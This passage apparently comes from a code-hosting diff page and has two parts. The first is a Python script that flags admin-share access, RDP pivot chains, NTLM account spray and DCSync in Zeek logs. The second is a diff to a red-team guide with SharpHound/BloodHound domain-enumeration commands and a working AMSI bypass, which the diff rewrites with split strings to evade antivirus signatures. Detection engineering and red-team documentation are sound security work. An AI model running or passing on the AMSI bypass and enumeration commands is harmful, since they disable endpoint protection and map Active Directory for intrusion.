rows.append(dict(zip(fields, values)))
|
||||
return rows
|
||||
|
||||
|
||||
def detect_admin_shares(log_file, internal_nets):
|
||||
"""Detect admin share access — only between internal hosts."""
|
||||
networks = parse_internal_nets(internal_nets)
|
||||
entries = parse_zeek_log(log_file)
|
||||
for entry in entries:
|
||||
src = entry.get('id.orig_h', '')
|
||||
dst = entry.get('id.resp_h', '')
|
||||
share = entry.get('path', '') or entry.get('share_type', '')
|
||||
if not (is_internal(src, networks) and is_internal(dst, networks)):
|
||||
continue
|
||||
share_upper = share.upper()
|
||||
if any(s in share_upper for s in ['ADMIN$', 'C$', 'IPC$']):
|
||||
severity = "HIGH" if 'ADMIN$' in share_upper or 'C$' in share_upper else "MEDIUM"
|
||||
print(f"[{severity}] ADMIN SHARE: {entry.get('ts', '')} {src} -> {dst} ({share})")
|
||||
|
||||
|
||||
def detect_rdp_pivots(log_file, window_minutes=10):
|
||||
"""Detect RDP pivot chains from conn.log."""
|
||||
entries = parse_zeek_log(log_file)
|
||||
rdp_sessions = [(float(e.get('ts', 0)), e.get('id.orig_h', ''), e.get('id.resp_h', ''))
|
||||
for e in entries if e.get('id.resp_p') == '3389']
|
||||
rdp_sessions.sort()
|
||||
|
||||
# Find chains: A->B then B->C within window
|
||||
dst_arrivals = defaultdict(list)
|
||||
for ts, src, dst in rdp_sessions:
|
||||
dst_arrivals[dst].append((ts, src))
|
||||
|
||||
for ts, src, dst in rdp_sessions:
|
||||
for arrival_ts, arrival_src in dst_arrivals.get(src, []):
|
||||
if 0 < (ts - arrival_ts) < window_minutes * 60:
|
||||
print(f"[HIGH] RDP PIVOT: {arrival_src} -> {src} -> {dst} (delta: {int(ts - arrival_ts)}s)")
|
||||
|
||||
|
||||
def detect_ntlm_spray(log_file, window_seconds=300, threshold=3):
|
||||
"""Detect NTLM account spray via time-windowed burst analysis."""
|
||||
entries = parse_zeek_log(log_file)
|
||||
user_events = defaultdict(list)
|
||||
|
||||
for entry in entries:
|
||||
user = entry.get('username', '')
|
||||
dst = entry.get('id.resp_h', '')
|
||||
ts = float(entry.get('ts', 0))
|
||||
if user and user != '-':
|
||||
user_events[user].append((ts, dst))
|
||||
|
||||
for user, events in user_events.items():
|
||||
events.sort()
|
||||
# Sliding window analysis
|
||||
for i, (ts_start, _) in enumerate(events):
|
||||
window_hosts = set()
|
||||
for j in range(i, len(events)):
|
||||
ts_j, dst_j = events[j]
|
||||
if ts_j - ts_start > window_seconds:
|
||||
break
|
||||
window_hosts.add(dst_j)
|
||||
if len(window_hosts) >= threshold:
|
||||
print(f"[CRITICAL] NTLM ACCOUNT SPRAY: {user} authenticated to {len(window_hosts)} "
|
||||
f"hosts within {window_seconds}s: {', '.join(sorted(window_hosts))}")
|
||||
break # One alert per user
|
||||
|
||||
|
||||
def detect_dcsync(log_file, dc_ips=None):
|
||||
"""Detect DCSync attacks via DRS replication calls — requires DC IPs."""
|
||||
if not dc_ips:
|
||||
print("[WARN] DCSync detection skipped: --dc-ips not provided. "
|
||||
"Specify domain controller IPs to enable this detector.")
|
||||
return
|
||||
|
||||
dc_set = set(dc_ips.split(","))
|
||||
entries = parse_zeek_log(log_file)
|
||||
for entry in entries:
|
||||
src = entry.get('id.orig_h', '')
|
||||
dst = entry.get('id.resp_h', '')
|
||||
operation = entry.get('operation', '')
|
||||
if dst in dc_set and src not in dc_set:
|
||||
if 'DrsReplicaAdd' in operation or 'DrsGetNCChanges' in operation:
|
||||
print(f"[CRITICAL] DCSYNC: {src} -> {dst} ({operation})")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
print(__doc__)
|
||||
sys.exit(1)
|
||||
|
||||
log_type, log_file = sys.argv[1], sys.argv[2]
|
||||
|
||||
# Parse optional args
|
||||
args = {sys.argv[i]: sys.argv[i+1] for i in range(3, len(sys.argv)-1, 2) if sys.argv[i].startswith('--')}
|
||||
|
||||
if log_type == "smb_mapping":
|
||||
detect_admin_shares(log_file, args.get('--internal-nets'))
|
||||
elif log_type == "conn":
|
||||
detect_rdp_pivots(log_file, int(args.get('--window', 10)))
|
||||
elif log_type == "ntlm":
|
||||
detect_ntlm_spray(log_file, int(args.get('--window', 300)), int(args.get('--threshold', 3)))
|
||||
elif log_type == "dce_rpc":
|
||||
detect_dcsync(log_file, args.get('--dc-ips'))
|
||||
else:
|
||||
print(f"Unknown log type: {log_type}")
|
||||
sys.exit(1)
|
||||
@@ -73,8 +73,9 @@ dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory
|
||||
Import-Module .\SharpHound.ps1
|
||||
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
|
||||
|
||||
# AMSI bypass before loading (if needed)
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
|
||||
$t = 'System.Management.Automation.Am' + 'siUtils'
|
||||
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
|
||||
### AzureHound (Azure AD)
|
||||
|
||||
Reference in New Issue
Block a user